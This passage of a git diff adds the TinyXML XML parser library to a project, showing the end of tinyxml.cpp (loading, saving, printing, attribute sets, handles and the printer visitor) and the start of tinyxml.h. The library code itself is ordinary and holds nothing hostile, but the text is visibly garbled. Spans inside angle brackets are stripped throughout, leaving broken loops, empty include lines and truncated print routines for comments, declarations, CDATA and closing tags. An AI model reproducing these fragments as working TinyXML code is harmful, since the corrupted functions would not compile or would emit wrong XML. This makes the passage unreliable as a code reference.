Commodore 8-bit machines, Apple II family, Mac OS up to version 9 and OS-9 + + const char* p = buf; // the read head + char* q = buf; // the write head + const char CR = 0x0d; + const char LF = 0x0a; + + buf[length] = 0; + while( *p ) { + assert( p < (buf+length) ); + assert( q <= (buf+length) ); + assert( q <= p ); + + if ( *p == CR ) { + *q++ = LF; + p++; + if ( *p == LF ) { // check for CR+LF (and skip LF) + p++; + } + } + else { + *q++ = *p++; + } + } + assert( q <= (buf+length) ); + *q = 0; + + Parse( buf, 0, encoding ); + + delete [] buf; + return !Error(); +} + + +bool TiXmlDocument::SaveFile( const char * filename ) const +{ + // The old c stuff lives on... + FILE* fp = TiXmlFOpen( filename, "w" ); + if ( fp ) + { + bool result = SaveFile( fp ); + fclose( fp ); + return result; + } + return false; +} + + +bool TiXmlDocument::SaveFile( FILE* fp ) const +{ + if ( useMicrosoftBOM ) + { + const unsigned char TIXML_UTF_LEAD_0 = 0xefU; + const unsigned char TIXML_UTF_LEAD_1 = 0xbbU; + const unsigned char TIXML_UTF_LEAD_2 = 0xbfU; + + fputc( TIXML_UTF_LEAD_0, fp ); + fputc( TIXML_UTF_LEAD_1, fp ); + fputc( TIXML_UTF_LEAD_2, fp ); + } + Print( fp, 0 ); + return (ferror(fp) == 0); +} + + +void TiXmlDocument::CopyTo( TiXmlDocument* target ) const +{ + TiXmlNode::CopyTo( target ); + + target->error = error; + target->errorId = errorId; + target->errorDesc = errorDesc; + target->tabsize = tabsize; + target->errorLocation = errorLocation; + target->useMicrosoftBOM = useMicrosoftBOM; + + TiXmlNode* node = 0; + for ( node = firstChild; node; node = node->NextSibling() ) + { + target->LinkEndChild( node->Clone() ); + } +} + + +TiXmlNode* TiXmlDocument::Clone() const +{ + TiXmlDocument* clone = new TIXML_NOTHROW TiXmlDocument(); + if ( !clone ) + return 0; + + CopyTo( clone ); + return clone; +} + + +void TiXmlDocument::Print( FILE* cfile, int depth ) const +{ + assert( cfile ); + for ( const TiXmlNode* node=FirstChild(); node; node=node->NextSibling() ) + { + node->Print( cfile, depth ); + fprintf( cfile, "\n" ); + } +} + + +bool TiXmlDocument::Accept( TiXmlVisitor* visitor ) const +{ + if ( visitor->VisitEnter( *this ) ) + { + for ( const TiXmlNode* node=FirstChild(); node; node=node->NextSibling() ) + { + if ( !node->Accept( visitor ) ) + break; + } + } + return visitor->VisitExit( *this ); +} + + +const TiXmlAttribute* TiXmlAttribute::Next() const +{ + // We are using knowledge of the sentinel. The sentinel + // have a value or name. + if ( next->value.empty() && next->name.empty() ) + return 0; + return next; +} + +/* +TiXmlAttribute* TiXmlAttribute::Next() +{ + // We are using knowledge of the sentinel. The sentinel + // have a value or name. + if ( next->value.empty() && next->name.empty() ) + return 0; + return next; +} +*/ + +const TiXmlAttribute* TiXmlAttribute::Previous() const +{ + // We are using knowledge of the sentinel. The sentinel + // have a value or name. + if ( prev->value.empty() && prev->name.empty() ) + return 0; + return prev; +} + +/* +TiXmlAttribute* TiXmlAttribute::Previous() +{ + // We are using knowledge of the sentinel. The sentinel + // have a value or name. + if ( prev->value.empty() && prev->name.empty() ) + return 0; + return prev; +} +*/ + +void TiXmlAttribute::Print( FILE* cfile, int /*depth*/, TIXML_STRING* str ) const +{ + TIXML_STRING n, v; + + EncodeString( name, &n ); + EncodeString( value, &v ); + + if (value.find ('\"') == TIXML_STRING::npos) { + if ( cfile ) { + fprintf (cfile, "%s=\"%s\"", n.c_str(), v.c_str() ); + } + if ( str ) { + (*str) += n; (*str) += "=\""; (*str) += v; (*str) += "\""; + } + } + else { + if ( cfile ) { + fprintf (cfile, "%s='%s'", n.c_str(), v.c_str() ); + } + if ( str ) { + (*str) += n; (*str) += "='"; (*str) += v; (*str) += "'"; + } + } +} + + +int TiXmlAttribute::QueryIntValue( int* ival ) const +{ + if ( TIXML_SSCANF( value.c_str(), "%d", ival ) == 1 ) + return TIXML_SUCCESS; + return TIXML_WRONG_TYPE; +} + +int TiXmlAttribute::QueryDoubleValue( double* dval ) const +{ + if ( TIXML_SSCANF( value.c_str(), "%lf", dval ) == 1 ) + return TIXML_SUCCESS; + return TIXML_WRONG_TYPE; +} + +void TiXmlAttribute::SetIntValue( int _value ) +{ + char buf [64]; + #if defined(TIXML_SNPRINTF) + TIXML_SNPRINTF(buf, sizeof(buf), "%d", _value); + #else + sprintf (buf, "%d", _value); + #endif + SetValue (buf); +} + +void TiXmlAttribute::SetDoubleValue( double _value ) +{ + char buf [256]; + #if defined(TIXML_SNPRINTF) + TIXML_SNPRINTF( buf, sizeof(buf), "%g", _value); + #else + sprintf (buf, "%g", _value); + #endif + SetValue (buf); +} + +int TiXmlAttribute::IntValue() const +{ + return atoi (value.c_str ()); +} + +double TiXmlAttribute::DoubleValue() const +{ + return atof (value.c_str ()); +} + + +TiXmlComment::TiXmlComment( const TiXmlComment& copy ) : TiXmlNode( TiXmlNode::TINYXML_COMMENT ) +{ + copy.CopyTo( this ); +} + + +TiXmlComment& TiXmlComment::operator=( const TiXmlComment& base ) +{ + Clear(); + base.CopyTo( this ); + return *this; +} + + +void TiXmlComment::Print( FILE* cfile, int depth ) const +{ + assert( cfile ); + for ( int i=0; i", value.c_str() ); +} + + +void TiXmlComment::CopyTo( TiXmlComment* target ) const +{ + TiXmlNode::CopyTo( target ); +} + + +bool TiXmlComment::Accept( TiXmlVisitor* visitor ) const +{ + return visitor->Visit( *this ); +} + + +TiXmlNode* TiXmlComment::Clone() const +{ + TiXmlComment* clone = new TIXML_NOTHROW TiXmlComment(); + + if ( !clone ) + return 0; + + CopyTo( clone ); + return clone; +} + + +void TiXmlText::Print( FILE* cfile, int depth ) const +{ + assert( cfile ); + if ( cdata ) + { + int i; + fprintf( cfile, "\n" ); + for ( i=0; i\n", value.c_str() ); // unformatted output + } + else + { + TIXML_STRING buffer; + EncodeString( value, &buffer ); + fprintf( cfile, "%s", buffer.c_str() ); + } +} + + +void TiXmlText::CopyTo( TiXmlText* target ) const +{ + TiXmlNode::CopyTo( target ); + target->cdata = cdata; +} + + +bool TiXmlText::Accept( TiXmlVisitor* visitor ) const +{ + return visitor->Visit( *this ); +} + + +TiXmlNode* TiXmlText::Clone() const +{ + TiXmlText* clone = 0; + clone = new TIXML_NOTHROW TiXmlText( "" ); + + if ( !clone ) + return 0; + + CopyTo( clone ); + return clone; +} + + +TiXmlDeclaration::TiXmlDeclaration( const char * _version, + const char * _encoding, + const char * _standalone ) + : TiXmlNode( TiXmlNode::TINYXML_DECLARATION ) +{ + version = _version; + encoding = _encoding; + standalone = _standalone; +} + + +#ifdef TIXML_USE_STL +TiXmlDeclaration::TiXmlDeclaration( const std::string& _version, + const std::string& _encoding, + const std::string& _standalone ) + : TiXmlNode( TiXmlNode::TINYXML_DECLARATION ) +{ + version = _version; + encoding = _encoding; + standalone = _standalone; +} +#endif + + +TiXmlDeclaration::TiXmlDeclaration( const TiXmlDeclaration& copy ) + : TiXmlNode( TiXmlNode::TINYXML_DECLARATION ) +{ + copy.CopyTo( this ); +} + + +TiXmlDeclaration& TiXmlDeclaration::operator=( const TiXmlDeclaration& copy ) +{ + Clear(); + copy.CopyTo( this ); + return *this; +} + + +void TiXmlDeclaration::Print( FILE* cfile, int /*depth*/, TIXML_STRING* str ) const +{ + if ( cfile ) fprintf( cfile, "" ); + if ( str ) (*str) += "?>"; +} + + +void TiXmlDeclaration::CopyTo( TiXmlDeclaration* target ) const +{ + TiXmlNode::CopyTo( target ); + + target->version = version; + target->encoding = encoding; + target->standalone = standalone; +} + + +bool TiXmlDeclaration::Accept( TiXmlVisitor* visitor ) const +{ + return visitor->Visit( *this ); +} + + +TiXmlNode* TiXmlDeclaration::Clone() const +{ + TiXmlDeclaration* clone = new TIXML_NOTHROW TiXmlDeclaration(); + + if ( !clone ) + return 0; + + CopyTo( clone ); + return clone; +} + + +void TiXmlUnknown::Print( FILE* cfile, int depth ) const +{ + for ( int i=0; i", value.c_str() ); +} + + +void TiXmlUnknown::CopyTo( TiXmlUnknown* target ) const +{ + TiXmlNode::CopyTo( target ); +} + + +bool TiXmlUnknown::Accept( TiXmlVisitor* visitor ) const +{ + return visitor->Visit( *this ); +} + + +TiXmlNode* TiXmlUnknown::Clone() const +{ + TiXmlUnknown* clone = new TIXML_NOTHROW TiXmlUnknown(); + + if ( !clone ) + return 0; + + CopyTo( clone ); + return clone; +} + + +TiXmlAttributeSet::TiXmlAttributeSet() +{ + sentinel.next = &sentinel; + sentinel.prev = &sentinel; +} + + +TiXmlAttributeSet::~TiXmlAttributeSet() +{ + assert( sentinel.next == &sentinel ); + assert( sentinel.prev == &sentinel ); +} + + +void TiXmlAttributeSet::Add( TiXmlAttribute* addMe ) +{ + #ifdef TIXML_USE_STL + assert( !Find( TIXML_STRING( addMe->Name() ) ) ); // Shouldn't be multiply adding to the set. + #else + assert( !Find( addMe->Name() ) ); // Shouldn't be multiply adding to the set. + #endif + + addMe->next = &sentinel; + addMe->prev = sentinel.prev; + + sentinel.prev->next = addMe; + sentinel.prev = addMe; +} + +void TiXmlAttributeSet::Remove( TiXmlAttribute* removeMe ) +{ + TiXmlAttribute* node; + + for( node = sentinel.next; node != &sentinel; node = node->next ) + { + if ( node == removeMe ) + { + node->prev->next = node->next; + node->next->prev = node->prev; + node->next = 0; + node->prev = 0; + return; + } + } + assert( 0 ); // we tried to remove a non-linked attribute. +} + + +#ifdef TIXML_USE_STL +TiXmlAttribute* TiXmlAttributeSet::Find( const std::string& name ) const +{ + for( TiXmlAttribute* node = sentinel.next; node != &sentinel; node = node->next ) + { + if ( node->name == name ) + return node; + } + return 0; +} + +TiXmlAttribute* TiXmlAttributeSet::FindOrCreate( const std::string& _name ) +{ + TiXmlAttribute* attrib = Find( _name ); + if ( !attrib ) { + attrib = new TIXML_NOTHROW TiXmlAttribute(); + if(attrib) + { + Add( attrib ); + attrib->SetName( _name ); + } + } + return attrib; +} +#endif + + +TiXmlAttribute* TiXmlAttributeSet::Find( const char* name ) const +{ + for( TiXmlAttribute* node = sentinel.next; node != &sentinel; node = node->next ) + { + if ( strcmp( node->name.c_str(), name ) == 0 ) + return node; + } + return 0; +} + + +TiXmlAttribute* TiXmlAttributeSet::FindOrCreate( const char* _name ) +{ + TiXmlAttribute* attrib = Find( _name ); + if ( !attrib ) { + attrib = new TIXML_NOTHROW TiXmlAttribute(); + if(attrib) + { + Add( attrib ); + attrib->SetName( _name ); + } + } + return attrib; +} + + +#ifdef TIXML_USE_STL +std::istream& operator>> (std::istream & in, TiXmlNode & base) +{ + TIXML_STRING tag; + tag.reserve( 8 * 1000 ); + base.StreamIn( &in, &tag ); + + base.Parse( tag.c_str(), 0, TIXML_DEFAULT_ENCODING ); + return in; +} +#endif + + +#ifdef TIXML_USE_STL +std::ostream& operator<< (std::ostream & out, const TiXmlNode & base) +{ + TiXmlPrinter printer; + printer.SetStreamPrinting(); + base.Accept( &printer ); + out << printer.Str(); + + return out; +} + + +std::string& operator<< (std::string& out, const TiXmlNode& base ) +{ + TiXmlPrinter printer; + printer.SetStreamPrinting(); + base.Accept( &printer ); + out.append( printer.Str() ); + + return out; +} +#endif + + +TiXmlHandle TiXmlHandle::FirstChild() const +{ + if ( node ) + { + TiXmlNode* child = node->FirstChild(); + if ( child ) + return TiXmlHandle( child ); + } + return TiXmlHandle( 0 ); +} + + +TiXmlHandle TiXmlHandle::FirstChild( const char * value ) const +{ + if ( node ) + { + TiXmlNode* child = node->FirstChild( value ); + if ( child ) + return TiXmlHandle( child ); + } + return TiXmlHandle( 0 ); +} + + +TiXmlHandle TiXmlHandle::FirstChildElement() const +{ + if ( node ) + { + TiXmlElement* child = node->FirstChildElement(); + if ( child ) + return TiXmlHandle( child ); + } + return TiXmlHandle( 0 ); +} + + +TiXmlHandle TiXmlHandle::FirstChildElement( const char * value ) const +{ + if ( node ) + { + TiXmlElement* child = node->FirstChildElement( value ); + if ( child ) + return TiXmlHandle( child ); + } + return TiXmlHandle( 0 ); +} + + +TiXmlHandle TiXmlHandle::Child( int count ) const +{ + if ( node ) + { + int i; + TiXmlNode* child = node->FirstChild(); + for ( i=0; + child && iNextSibling(), ++i ) + { + // nothing + } + if ( child ) + return TiXmlHandle( child ); + } + return TiXmlHandle( 0 ); +} + + +TiXmlHandle TiXmlHandle::Child( const char* value, int count ) const +{ + if ( node ) + { + int i; + TiXmlNode* child = node->FirstChild( value ); + for ( i=0; + child && iNextSibling( value ), ++i ) + { + // nothing + } + if ( child ) + return TiXmlHandle( child ); + } + return TiXmlHandle( 0 ); +} + + +TiXmlHandle TiXmlHandle::ChildElement( int count ) const +{ + if ( node ) + { + int i; + TiXmlElement* child = node->FirstChildElement(); + for ( i=0; + child && iNextSiblingElement(), ++i ) + { + // nothing + } + if ( child ) + return TiXmlHandle( child ); + } + return TiXmlHandle( 0 ); +} + + +TiXmlHandle TiXmlHandle::ChildElement( const char* value, int count ) const +{ + if ( node ) + { + int i; + TiXmlElement* child = node->FirstChildElement( value ); + for ( i=0; + child && iNextSiblingElement( value ), ++i ) + { + // nothing + } + if ( child ) + return TiXmlHandle( child ); + } + return TiXmlHandle( 0 ); +} + + +bool TiXmlPrinter::VisitEnter( const TiXmlDocument& ) +{ + return true; +} + +bool TiXmlPrinter::VisitExit( const TiXmlDocument& ) +{ + return true; +} + +bool TiXmlPrinter::VisitEnter( const TiXmlElement& element, const TiXmlAttribute* firstAttribute ) +{ + DoIndent(); + buffer += "<"; + buffer += element.Value(); + + for( const TiXmlAttribute* attrib = firstAttribute; attrib; attrib = attrib->Next() ) + { + buffer += " "; + attrib->Print( 0, 0, &buffer ); + } + + if ( !element.FirstChild() ) + { + buffer += " />"; + DoLineBreak(); + } + else + { + buffer += ">"; + if ( element.FirstChild()->ToText() + && element.LastChild() == element.FirstChild() + && element.FirstChild()->ToText()->CDATA() == false ) + { + simpleTextPrint = true; + // no DoLineBreak()! + } + else + { + DoLineBreak(); + } + } + ++depth; + return true; +} + + +bool TiXmlPrinter::VisitExit( const TiXmlElement& element ) +{ + --depth; + if ( !element.FirstChild() ) + { + // nothing. + } + else + { + if ( simpleTextPrint ) + { + simpleTextPrint = false; + } + else + { + DoIndent(); + } + buffer += ""; + DoLineBreak(); + } + return true; +} + + +bool TiXmlPrinter::Visit( const TiXmlText& text ) +{ + if ( text.CDATA() ) + { + DoIndent(); + buffer += ""; + DoLineBreak(); + } + else if ( simpleTextPrint ) + { + TIXML_STRING str; + TiXmlBase::EncodeString( text.ValueTStr(), &str ); + buffer += str; + } + else + { + DoIndent(); + TIXML_STRING str; + TiXmlBase::EncodeString( text.ValueTStr(), &str ); + buffer += str; + DoLineBreak(); + } + return true; +} + + +bool TiXmlPrinter::Visit( const TiXmlDeclaration& declaration ) +{ + DoIndent(); + declaration.Print( 0, 0, &buffer ); + DoLineBreak(); + return true; +} + + +bool TiXmlPrinter::Visit( const TiXmlComment& comment ) +{ + DoIndent(); + buffer += ""; + DoLineBreak(); + return true; +} + + +bool TiXmlPrinter::Visit( const TiXmlUnknown& unknown ) +{ + DoIndent(); + buffer += "<"; + buffer += unknown.Value(); + buffer += ">"; + DoLineBreak(); + return true; +} + diff --git a/src/utils/tinyxml.h b/src/utils/tinyxml.h new file mode 100644 index 0000000..6e4a081 --- /dev/null +++ b/src/utils/tinyxml.h @@ -0,0 +1,1807 @@ +/* +www.sourceforge.net/projects/tinyxml +Original code by Lee Thomason (www.grinninglizard.com) + +This software is provided 'as-is', without any express or implied +warranty. In no event will the authors be held liable for any +damages arising from the use of this software. + +Permission is granted to anyone to use this software for any +purpose, including commercial applications, and to alter it and +redistribute it freely, subject to the following restrictions: + +1. The origin of this software must not be misrepresented; you must +not claim that you wrote the original software. If you use this +software in a product, an acknowledgment in the product documentation +would be appreciated but is not required. + +2. Altered source versions must be plainly marked as such, and +must not be misrepresented as being the original software. + +3. This notice may not be removed or altered from any source +distribution. +*/ +#ifndef TINYXML_INCLUDED +#define TINYXML_INCLUDED + +#define TIXML_USE_STL + +#ifdef _MSC_VER +#pragma warning( push ) +#pragma warning( disable : 4530 ) +#pragma warning( disable : 4786 ) +#endif + +#include +#include +#include +#include +#include + +// Help out windows: +#if defined( _DEBUG ) && !defined( DEBUG ) +#define DEBUG +#endif + +#ifdef TIXML_USE_STL + #include + #include + #include + #define TIXML_STRING std::string + #define TIXML_NOTHROW (std::nothrow) +#else + #include "tinystr.h" + #define TIXML_STRING TiXmlString + #define TIXML_NOTHROW +#endif + +// Deprecated library function hell. Compilers want to use the +// new safe versions. This probably doesn't fully address the problem, +// but it gets closer. There are too many compilers for me to fully +// test. If you get compilation troubles, undefine TIXML_SAFE +#define TIXML_SAFE + +#ifdef TIXML_SAFE + #if defined(_MSC_VER) && (_MSC_VER >= 1400 ) + // Microsoft visual studio, version 2005 and higher. + #define TIXML_SNPRINTF _snprintf_s + #define TIXML_SSCANF sscanf_s + #elif defined(_MSC_VER) && (_MSC_VER >= 1200 ) + // Microsoft visual studio, version 6 and higher. + //#pragma message( "Using _sn* functions." ) + #define TIXML_SNPRINTF _snprintf + #define TIXML_SSCANF sscanf + #elif defined(__GNUC__) && (__GNUC__ >= 3 ) + // GCC version 3 and higher.s + //#warning( "Using sn* functions." ) + #define TIXML_SNPRINTF snprintf + #define TIXML_SSCANF sscanf + #else + #define TIXML_SNPRINTF snprintf + #define TIXML_SSCANF sscanf + #endif +#endif + +class TiXmlDocument; +class TiXmlElement; +class TiXmlComment; +class TiXmlUnknown; +class TiXmlAttribute; +class TiXmlText; +class TiXmlDeclaration; +class TiXmlParsingData; + +const int TIXML_MAJOR_VERSION = 2; +const int TIXML_MINOR_VERSION = 6; +const int TIXML_PATCH_VERSION = 2; + +/* Internal structure for tracking location of items + in the XML file. +*/ +struct TiXmlCursor +{ + TiXmlCursor() { Clear(); } + void Clear() { row = col = -1; } + + int row; // 0 based. + int col; // 0 based. +}; + + +/** + Implements the interface to the "Visitor pattern" (see the Accept() method.) + If you call the Accept() method, it requires being passed a TiXmlVisitor + class to handle callbacks. For nodes that contain other nodes (Document, Element) + you will get called with a VisitEnter/VisitExit pair. Nodes that are always leaves + are simply called with Visit(). + + If you return 'true' from a Visit method, recursive parsing will continue. If you return + false, no children of this node or its sibilings will be Visited. + + All flavors of Visit methods have a default implementation that returns 'true' (continue + visiting). You need to only override methods that are interesting to you. + + Generally Accept() is called on the TiXmlDocument, although all nodes suppert Visiting. + + You should never change the document from a callback. + + @sa TiXmlNode::Accept() +*/ +class TiXmlVisitor +{ +public: + virtual ~TiXmlVisitor() {} + + /// Visit a document. + virtual bool VisitEnter( const TiXmlDocument& /*doc*/ ) { return true; } + /// Visit a document. + virtual bool VisitExit( const TiXmlDocument& /*doc*/ ) { return true; } + + /// Visit an element. + virtual bool VisitEnter( const TiXmlElement& /*element*/, const TiXmlAttribute* /*firstAttribute*/ ) { return true; } + /// Visit an element. + virtual bool VisitExit( const TiXmlElement& /*element*/ ) { return true; } + + /// Visit a declaration + virtual bool Visit( const TiXmlDeclaration& /*declaration*/ ) { return true; } + /// Visit a text node + virtual bool Visit( const TiXmlText& /*text*/ ) { return true; } + /// Visit a comment node + virtual bool Visit( const TiXmlComment& /*comment*/ ) { return true; } + /// Visit an unknown node + virtual bool Visit( const TiXmlUnknown& /*unknown*/ ) { return true; } +}; + +// Only used by Attribute::Query functions +enum +{ + TIXML_SUCCESS, + TIXML_NO_ATTRIBUTE, + TIXML_WRONG_TYPE +}; + + +// Used by the parsing routines. +enum TiXmlEncoding +{ + TIXML_ENCODING_UNKNOWN, + TIXML_ENCODING_UTF8, + TIXML_ENCODING_LEGACY +}; + +const TiXmlEncoding TIXML_DEFAULT_ENCODING = TIXML_ENCODING_UNKNOWN; + +/** TiXmlBase is a base class for every class in TinyXml. + It does little except to establish that TinyXml classes + can be printed and provide some utility functions. + + In XML, the document and elements can contain + other elements and other types of nodes. + + @verbatim + A Document can contain: Element (container or leaf) + Comment (leaf) + Unknown (leaf) + Declaration( leaf ) + + An Element can contain: Element (container or leaf) + Text (leaf) + Attributes (not on tree) + Comment (leaf) + Unknown (leaf) + + A Decleration contains: Attributes (not on tree) + @endverbatim +*/ +class TiXmlBase +{ + friend class TiXmlNode; + friend class TiXmlElement; + friend class TiXmlDocument; + +public: + TiXmlBase() : userData(0) {} + virtual ~TiXmlBase() {} + + /** All TinyXml classes can print themselves to a filestream + or the string class (TiXmlString in non-STL mode, std::string + in STL mode.) Either or both cfile and str can be null. + + This is a formatted print, and will insert + tabs and newlines. + + (For an unformatted stream, use the << operator.) + */ + virtual void Print( FILE* cfile, int depth ) const = 0; + + /** The world does not agree on whether white space should be kept or + not. In order to make everyone happy, these global, static functions + are provided to set whether or not TinyXml will condense all white space + into a single space or not. The default is to condense. Note changing this + value is not thread safe. + */ + static void SetCondenseWhiteSpace( bool condense ) { condenseWhiteSpace = condense; } + + /// Return the current white space setting. + static bool IsWhiteSpaceCondensed() { return condenseWhiteSpace; } + + /** Return the position, in the original source file, of this node or attribute. + The row and column are 1-based. (That is the first row and first column is + 1,1). If the returns values are 0 or less, then the parser does not have + a row and column value. + + Generally, the row and column value will be set when the TiXmlDocument::Load(), + TiXmlDocument::LoadFile(), or any TiXmlNode::Parse() is called. It will NOT be set + when the DOM was created from operator>>. + + The values reflect the initial load. Once the DOM is modified programmatically + (by adding or changing nodes and attributes) the new values will NOT update to + reflect changes in the document. + + There is a minor performance cost to computing the row and column. Computation + can be disabled if TiXmlDocument::SetTabSize() is called with 0 as the value. + + @sa TiXmlDocument::SetTabSize() + */ + int Row() const { return location.row + 1; } + int Column() const { return location.col + 1; } ///< See Row() + + void SetUserData( void* user ) { userData = user; } ///< Set a pointer to arbitrary user data. + void* GetUserData() { return userData; } ///< Get a pointer to arbitrary user data. + const void* GetUserData() const { return userData; } ///< Get a pointer to arbitrary user data. + + // Table that returs, for a given lead byte, the total number of bytes + // in the UTF-8 sequence. + static const int utf8ByteTable[256]; + + virtual const char* Parse( const char* p, + TiXmlParsingData* data, + TiXmlEncoding encoding /*= TIXML_ENCODING_UNKNOWN */ ) = 0; + + /** Expands entities in a string. Note this should not contian the tag's '<', '>', etc, + or they will be transformed into entities! + */ + static void EncodeString( const TIXML_STRING& str, TIXML_STRING* out ); + + enum + { + TIXML_NO_ERROR = 0, + TIXML_ERROR, + TIXML_ERROR_OPENING_FILE, + TIXML_ERROR_PARSING_ELEMENT, + TIXML_ERROR_FAILED_TO_READ_ELEMENT_NAME, + TIXML_ERROR_READING_ELEMENT_VALUE, + TIXML_ERROR_READING_ATTRIBUTES, + TIXML_ERROR_PARSING_EMPTY, + TIXML_ERROR_READING_END_TAG, + TIXML_ERROR_PARSING_UNKNOWN, + TIXML_ERROR_PARSING_COMMENT, + TIXML_ERROR_PARSING_DECLARATION, + TIXML_ERROR_DOCUMENT_EMPTY, + TIXML_ERROR_EMBEDDED_NULL, + TIXML_ERROR_PARSING_CDATA, + TIXML_ERROR_DOCUMENT_TOP_ONLY, + + TIXML_ERROR_STRING_COUNT + }; + +protected: + + static const char* SkipWhiteSpace( const char*, TiXmlEncoding encoding ); + + inline static bool IsWhiteSpace( char c ) + { + return ( isspace( (unsigned char) c ) || c == '\n' || c == '\r' ); + } + inline static bool IsWhiteSpace( int c ) + { + if ( c < 256 ) + return IsWhiteSpace( (char) c ); + return false; // Again, only truly correct for English/Latin...but usually works. + } + + #ifdef TIXML_USE_STL + static bool StreamWhiteSpace( std::istream * in, TIXML_STRING * tag ); + static bool StreamTo( std::istream * in, int character, TIXML_STRING * tag ); + #endif + + /* Reads an XML name into the string provided. Returns + a pointer just past the last character of the name, + or 0 if the function has an error. + */ + static const char* ReadName( const char* p, TIXML_STRING* name, TiXmlEncoding encoding ); + + /* Reads text. Returns a pointer past the given end tag. + Wickedly complex options, but it keeps the (sensitive) code in one place. + */ + static const char* ReadText( const char* in, // where to start + TIXML_STRING* text, // the string read + bool ignoreWhiteSpace, // whether to keep the white space + const char* endTag, // what ends this text + bool ignoreCase, // whether to ignore case in the end tag + TiXmlEncoding encoding ); // the current encoding + + // If an entity has been found, transform it into a character. + static const char* GetEntity( const char* in, char* value, int* length, TiXmlEncoding encoding ); + + // Get a character, while interpreting entities. + // The length can be from 0 to 4 bytes. + inline static const char* GetChar( const char* p, char* _value, int* length, TiXmlEncoding encoding ) + { + assert( p ); + if ( encoding == TIXML_ENCODING_UTF8 ) + { + *length = utf8ByteTable[ *((const unsigned char*)p) ]; + assert( *length >= 0 && *length < 5 ); + } + else + { + *length = 1; + } + + if ( *length == 1 ) + { + if ( *p == '&' ) + return GetEntity( p, _value, length, encoding ); + *_value = *p; + return p+1; + } + else if ( *length ) + { + //strncpy( _value, p, *length ); // lots of compilers don't like this function (unsafe), + // and the null terminator isn't needed + for( int i=0; p[i] && i<*length; ++i ) { + _value[i] = p[i]; + } + return p + (*length); + } + else + { + // Not valid text. + return 0; + } + } + + // Return true if the next characters in the stream are any of the endTag sequences. + // Ignore case only works for english, and should only be relied on when comparing + // to English words: StringEqual( p, "version", true ) is fine. + static bool StringEqual( const char* p, + const char* endTag, + bool ignoreCase, + TiXmlEncoding encoding ); + + static const char* errorString[ TIXML_ERROR_STRING_COUNT ]; + + TiXmlCursor location; + + /// Field containing a generic user pointer + void* userData; + + // None of these methods are reliable for any language except English. + // Good for approximation, not great for accuracy. + static int IsAlpha( unsigned char anyByte, TiXmlEncoding encoding ); + static int IsAlphaNum( unsigned char anyByte, TiXmlEncoding encoding ); + inline static int ToLower( int v, TiXmlEncoding encoding ) + { + if ( encoding == TIXML_ENCODING_UTF8 ) + { + if ( v < 128 ) return tolower( v ); + return v; + } + else + { + return tolower( v ); + } + } + static void ConvertUTF32ToUTF8( unsigned long input, char* output, int* length ); + +private: + TiXmlBase( const TiXmlBase& ); // not implemented. + void operator=( const TiXmlBase& base ); // not allowed. + + struct Entity + { + const char* str; + unsigned int strLength; + char chr; + }; + enum + { + NUM_ENTITY = 5, + MAX_ENTITY_LENGTH = 6 + + }; + static Entity entity[ NUM_ENTITY ]; + static bool condenseWhiteSpace; +}; + + +/** The parent class for everything in the Document Object Model. + (Except for attributes). + Nodes have siblings, a parent, and children. A node can be + in a document, or stand on its own. The type of a TiXmlNode + can be queried, and it can be cast to its more defined type. +*/ +class TiXmlNode : public TiXmlBase +{ + friend class TiXmlDocument; + friend class TiXmlElement; + +public: + #ifdef TIXML_USE_STL + + /** An input stream operator, for every class. Tolerant of newlines and + formatting, but doesn't expect them. + */ + friend std::istream& operator >> (std::istream& in, TiXmlNode& base); + + /** An output stream operator, for every class. Note that this outputs + without any newlines or formatting, as opposed to Print(), which + includes tabs and new lines. + + The operator<< and operator>> are not completely symmetric. Writing + a node to a stream is very well defined. You'll get a nice stream + of output, without any extra whitespace or newlines. + + But reading is not as well defined. (As it always is.) If you create + a TiXmlElement (for example) and read that from an input stream, + the text needs to define an element or junk will result. This is + true of all input streams, but it's worth keeping in mind. + + A TiXmlDocument will read nodes until it reads a root element, and + all the children of that root element. + */ + friend std::ostream& operator<< (std::ostream& out, const TiXmlNode& base); + + /// Appends the XML node or attribute to a std::string. + friend std::string& operator<< (std::string& out, const TiXmlNode& base ); + + #endif + + /** The types of XML nodes supported by TinyXml. (All the + unsupported types are picked up by UNKNOWN.) + */ + enum NodeType + { + TINYXML_DOCUMENT, + TINYXML_ELEMENT, + TINYXML_COMMENT, + TINYXML_UNKNOWN, + TINYXML_TEXT, + TINYXML_DECLARATION, + TINYXML_TYPECOUNT + }; + + virtual ~TiXmlNode(); + + /** The meaning of 'value' changes for the specific type of + TiXmlNode. + @verbatim + Document: filename of the xml file + Element: name of the element + Comment: the comment text + Unknown: the tag contents + Text: the text string + @endverbatim + + The subclasses will wrap this function. + */ + const char *Value() const { return value.c_str (); } + + #ifdef TIXML_USE_STL + /** Return Value() as a std::string. If you only use STL, + this is more efficient than calling Value(). + Only available in STL mode. + */ + const std::string& ValueStr() const { return value; } + #endif + + const TIXML_STRING& ValueTStr() const { return value; } + + /** Changes the value of the node. Defined as: + @verbatim + Document: filename of the xml file + Element: name of the element + Comment: the comment text + Unknown: the tag contents + Text: the text string + @endverbatim + */ + void SetValue(const char * _value) { value = _value;} + + #ifdef TIXML_USE_STL + /// STL std::string form. + void SetValue( const std::string& _value ) { value = _value; } + #endif + + /// Delete all the children of this node. Does not affect 'this'. + void Clear(); + + /// One step up the DOM. + TiXmlNode* Parent() { return parent; } + const TiXmlNode* Parent() const { return parent; } + + const TiXmlNode* FirstChild() const { return firstChild; } ///< The first child of this node. Will be null if there are no children. + TiXmlNode* FirstChild() { return firstChild; } + const TiXmlNode* FirstChild( const char * value ) const; ///< The first child of this node with the matching 'value'. Will be null if none found. + /// The first child of this node with the matching 'value'. Will be null if none found. + TiXmlNode* FirstChild( const char * _value ) { + // Call through to the const version - safe since nothing is changed. Exiting syntax: cast this to a const (always safe) + // call the method, cast the return back to non-const. + return const_cast< TiXmlNode* > ((const_cast< const TiXmlNode* >(this))->FirstChild( _value )); + } + const TiXmlNode* LastChild() const { return lastChild; } /// The last child of this node. Will be null if there are no children. + TiXmlNode* LastChild() { return lastChild; } + + const TiXmlNode* LastChild( const char * value ) const; /// The last child of this node matching 'value'. Will be null if there are no children. + TiXmlNode* LastChild( const char * _value ) { + return const_cast< TiXmlNode* > ((const_cast< const TiXmlNode* >(this))->LastChild( _value )); + } + + #ifdef TIXML_USE_STL + const TiXmlNode* FirstChild( const std::string& _value ) const { return FirstChild (_value.c_str ()); } ///< STL std::string form. + TiXmlNode* FirstChild( const std::string& _value ) { return FirstChild (_value.c_str ()); } ///< STL std::string form. + const TiXmlNode* LastChild( const std::string& _value ) const { return LastChild (_value.c_str ()); } ///< STL std::string form. + TiXmlNode* LastChild( const std::string& _value ) { return LastChild (_value.c_str ()); } 